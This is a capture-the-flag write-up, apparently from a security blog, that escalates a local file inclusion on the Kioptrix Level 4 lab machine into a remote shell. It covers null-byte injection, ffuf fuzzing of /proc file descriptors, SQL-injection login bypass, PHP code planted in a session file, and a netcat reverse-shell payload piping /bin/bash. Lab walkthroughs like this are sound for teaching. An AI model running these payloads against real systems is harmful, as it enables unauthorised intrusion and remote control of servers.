Analytify (Bug): cURL error 77: error setting certificate verify locations: CAfile: /etc/nginx/ssl/cacert.pem CApath: /etc/ssl/certs (see for From LFI to Remote Shell (Kioptrix Level 4) -

From LFI to Remote Shell (Kioptrix Level 4)

From LFI to Remote Shell (Kioptrix Level 4)


In my previous Kioptrix Level 4 write-up, we went from boot to root on the Kioptrix 4 machine by exploiting password reuse. Along the way, we found a local file inclusion vulnerability that allowed us to gather some valuable information used in owning the box.

In this article, we’ll take a deeper look at the LFI bug and learn how to use only the LFI to get a reverse shell on the target.


Exploring the LFI

If you recall from the previous article on Kioptrix Level 4, we were able to enumerate a few usernames with gobuster and log in using the usernames by exploiting an SQL injection vulnerability on the login page. After logging in successfully, we are directed to the member.php page which is where the LFI lies.

Go ahead and launch your web browser, and head over to the victim’s web server.

Member Login Portal

We’ll use the john username we discovered from our initial enumeration. We could use his password as well, but in this example, I’ll take advantage of the SQLi and use ' or 1=1# in the password field. Click Login, and we are redirected to the Member’s Control Panel.

Member’s Control Panel

We see the URL is The LFI bug lies in the username parameter.

Use the Source

To better understand why, take a look at the member.php source code:

$page = $_GET['username'];

//$page = preg_replace('/etc/','',$page,1) . ".php";
$page = preg_replace('/etc/','',$page,1);

    $memPage = $page . "/" . $page . ".php";
    // ...

Here we see the username argument is placed into the $page variable. preg_replace is then used to remove the first occurrence of etc within the string (remember we had to use etcetc to dump /etc/passwd in the original walkthrough).

Then the script checks to make sure the “page” exists. In reality, if we recall from the first article, this code is checking for the existence of a directory that is named identically to the PHP file (minus the .php extension). If the directory is found, the script appends a / to $page, then $page itself, and finally .php. In essence, this means that a username of john will cause the script to attempt to include the file john/john.php.

The major problem with this approach is that there is almost zero input sanitization. In fact, the safeguard the script uses against malicious input is stripping out the first occurrence of the string etc. As we have already seen, this is easily bypassed by duplicating the string (etcetc).

In effect, we have total control over which file is included. There does appear to be one more limitation: the filename we provide must be the name of a directory, and that directory must have an identically named PHP file. It turns out this is also dead-simple to bypass.

Null Byte Injection

PHP strings are not null-terminated. This means that a null byte is a perfectly legal character in the middle of a PHP string. PHP runs on C, however, and C uses null-terminated strings.

What does that mean for us? Simple: if we can inject a null byte into a string that is processed by PHP (and therefore by C on the back-end), we will be able to effectively bypass the $page/$page.php filename restriction.

We can inject a null byte using its URL-encoded form: %00. Let’s say we want to use our LFI to view the command line arguments of the webserver. This can be found in the proc filesystem (more on the proc filesystem later) within the file /proc/self/cmdline. So what happens if we try to point our browser to

LFI produces a PHP error without null byte injection

We see from the error that the script attempted to include the file ../../proc/self/cmdline/../../proc/self/cmdline.php. This makes perfect sense after viewing the source. Let’s try to dump the file again. This time, add a URL-encoded null byte (%00) to the end:

So now we can view any file on the victim’s filesystem as long as: a) we know the full path, and b) the webserver has read permissions for the file. But how can we leverage this bug to get code execution, and eventually, a shell?

From LFI to Code Execution

Remote code execution is one of the most severe bugs you will encounter in a web application. Successful exploitation of an RCE will almost always lead to a remote shell on the target system. But how do we go from a simple file inclusion to code execution?

Let’s think this through. The file whose name we are providing in the username field will be included in the PHP application with the include PHP expression. This will cause PHP to effectively insert the contents of the included file directly into the source code at the point of the include expression.

If the file is plain text or any other non-PHP content, its contents will simply be displayed on the page. However, if the contents of the file contain valid PHP code, that code will be executed on the server.

This means that if we can somehow get malicious PHP code somewhere on the victim’s filesystem (and readable by the webserver), we can run any code we please.

But how do we get our own code on the server? In some cases, you may find file upload vulnerabilities, or perhaps vulnerable or open SMB or FTP servers. In this case, however, we have none of these. But as it turns out, we do control some of the contents of one file on the system.

The proc Filesystem

From the ArchWiki:

Procfs is pseudo filesystem (/proc) containing information about the system resources, including currently running processes, kernel, hardware.

Basically, the proc filesystem allows users or running processes to view details about – among other things – the processes running on the system. The data is stored in a directory hierarchy /proc/PID, where PID is the process ID of the target program. Additionally, there is a special directory, /proc/self, which is a symbolic link to the appropriate process ID of the running program.

Among the information the procfs stores about running processes is a list of file descriptors in use by the program. For example, if you list the contents of the /proc/self/fd directory using ls, you will see a list of all file descriptors in use by the ls process as it runs:

└─$ ls -l /proc/self/fd
total 0
lrwx------ 1 ori0n ori0n 64 Aug  4 00:57 0 -> /dev/pts/9
lrwx------ 1 ori0n ori0n 64 Aug  4 00:57 1 -> /dev/pts/9
lrwx------ 1 ori0n ori0n 64 Aug  4 00:57 2 -> /dev/pts/9
lr-x------ 1 ori0n ori0n 64 Aug  4 00:57 3 -> /proc/584889/fd

└─$ tty                                                

Here we see four file descriptors: 03. In a UNIX system, the first three file descriptors always refer to the standard input, standard output, and standard error streams, respectively. In this case, they are all symbolic links to our current TTY session, which we’ve verified with the tty command.

The final descriptor (3) is a symbolic link to the actual directory within the procfs of the ls process’ fd directory. This is likely due to ls opening the directory in order to list its contents.

This is all fine and good, but what use is it to us as attackers?

Enumerating File Descriptors With ffuf

We can use a fuzzing tool like ffuf in combination with a list of numbers to search for any open file descriptors in use by our web server process.

We can read the file /proc/sys/fs/file-max to determine the maximum number of open file descriptors on our target. In this case, it’s 24050.

Now we can create a wordlist with all the valid fd values. We’ll skip 02 as these are always the standard I/O streams. Then we feed the wordlist to ffuf to determine which file descriptors are valid:

└─$ for i in {3..24050}; do echo $i; done > nums.txt

└─$ ffuf -w nums.txt:NUM -u

        /'___  /'___           /'___                                                                   
       / __/ / __/  __  __  / __/                                                                   
         ,__\  ,__/ /    ,__                                                                  
          _/   _/  _    _/                                                                  
          _    _   ____/   _                                                                   
          /_/    /_/   /___/    /_/                                                                   

       v1.3.1 Kali Exclusive <3                                                                           

 :: Method           : GET                                                                                
 :: URL              :    
 :: Wordlist         : NUM: nums.txt                                                                      
 :: Follow redirects : false                                                                              
 :: Calibration      : false                                                                              
 :: Timeout          : 10                                                                                 
 :: Threads          : 40                                                                                 
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405                                   

:: Progress: [40/24048] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors:20                      [Status: 302, Size: 257, Words: 22, Lines: 2]                                                               
:: Progress: [40/24048] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors:39                      [Status: 302, Size: 257, Words: 22, Lines: 2]                                                               
:: Progress: [41/24048] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors:9                       [Status: 302, Size: 1, Words: 1, Lines: 2]                                                                  
:: Progress: [42/24048] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors:26                      [Status: 302, Size: 257, Words: 22, Lines: 2]


Whoa! That’s a lot of noise! We need to filter out any results that are actually errors. Use your browser to try any random value, for example:

Missing file PHP error

We can use the ffuf -fr parameter to filter out strings that indicate errors. Running again, we see exactly one file descriptor in use: 9.

└─$ ffuf -w nums:NUM -u -fr 'failed to open stream|Oups'

        /'___  /'___           /'___       
       / __/ / __/  __  __  / __/       
         ,__\  ,__/ /    ,__      
          _/   _/  _    _/      
          _    _   ____/   _       
          /_/    /_/   /___/    /_/       

       v1.3.1 Kali Exclusive <3

 :: Method           : GET
 :: URL              :
 :: Wordlist         : NUM: nums
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Regexp: failed to open stream|Oups

9                       [Status: 302, Size: 1, Words: 1, Lines: 2]
:: Progress: [24048/24048] :: Job [1/1] :: 493 req/sec :: Duration: [0:00:08] :: Errors: 0 ::

So what is this mysterious file? We can use our LFI to find out. Navigate your browser to

PHP session data

Well that looks a whole lot like our login credentials, doesn’t it?

So let’s piece this together. We are able to force the application to include this file and interpret it as PHP. We are also able to control the contents of this file at login.

So what if we leverage the SQL injection to append some PHP code to our password? Let’s find out.

PHP Code Injection

First, log out of the application (or delete your session cookie).

Now we will try to inject the phpinfo() function into the session file. This is a pretty standard way to verify that we indeed have code execution.

Log in with username john and use the following password: ' or 1=1# <?php phpinfo() ?>.

The login is successful. Now head back to

phpinfo() RCE proof of concept

Bingo! We have an RCE!

All that’s left is to use our code execution to get a reverse shell.

Poppin’ a Shell

NOTE: You will have to log out of the web app or clear your session cookie every time you want to modify the PHP code.

From our first trip through this box, we know that Netcat is installed at /bin/netcat. We can verify this using our RCE by logging out and logging back in while injecting the PHP code system('which netcat'). We get the response:

myusername|s:4:"john";mypassword|s:41:"' or 1=1# /bin/netcat "; 

Now we can create a payload to hopefully send a reverse shell from the victim back to our host machine. As we discovered the first time through this box, the victim is running a firewall that is dropping outgoing packets on a wide range of ports. For this reason, I’ll use a known good port: 9000.

On our attacker, let’s start a listener:

└─$ nc -nlkvp 9000
Listening on 9000

Now, clear your session on the target app. We want to run the command:

/bin/netcat 9000 -e /bin/bash

We will use the following payload in the password field:

' or 1=1# <?php system('/bin/netcat 9000 -e /bin/bash') ?>

Use username john and the above payload as the password. Log in and navigate back to

We have a shell!

We have a shell! I’ll use the Python pty.spawn trick to pretty it up a bit, and then we can continue on with privilege escalation (see my Kioptrix Level 4 walkthrough for details on getting root on this box).

Wrapping Up

This LFI to RCE route was a much more involved route than the password reuse scenario we exploited in the first Kioptrix 4 post, but I found it to be more fun, and much more rewarding in the end.

Understanding how to leverage a simple file inclusion vulnerability into full-fledged code execution is a valuable skill that will almost certainly lead you to a shell every time.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.